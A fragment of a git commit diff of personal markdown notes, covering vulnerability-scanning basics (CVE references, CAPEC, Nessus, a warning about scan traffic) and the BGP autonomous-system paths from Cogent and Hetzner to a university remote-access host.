- <https://cvedetails.com>
|
||||
|
||||
# Vulnerability Scanning
|
||||
|
||||
@@ -34,4 +36,3 @@ CAPEC: Common Attack Pattern Enumeration and Classification
|
||||
- Can generate alot of traffic, and may result in denial of service on many devices.
|
||||
|
||||
## Nessus
|
||||
|
||||
|
@@ -1,10 +1,12 @@
|
||||
## Cogent Frankfurt -> remote.salford.ac.uk
|
||||
|
||||
Cogent [AS174](https://bgp.he.net/AS174)
|
||||
Arelion [AS1299](https://bgp.he.net/AS1299)
|
||||
JISC (Salford Edge) [AS786](https://bgp.he.net/AS786)
|
||||
remote.salford.ac.uk (Announced by JISC) [AS786](https://bgp.he.net/AS786)
|
||||
|
||||
## Hetzner -> remote.salford.ac.uk
|
||||
|
||||
Hetzner [AS24940](https://bgp.he.net/AS24940)
|
||||
core-backbone [AS201011](https://bgp.he.net/AS201011)
|
||||
LINX London [AS3491](https://bgp.he.net/AS3491)
|
||||
|
Reference in New Issue
Block a user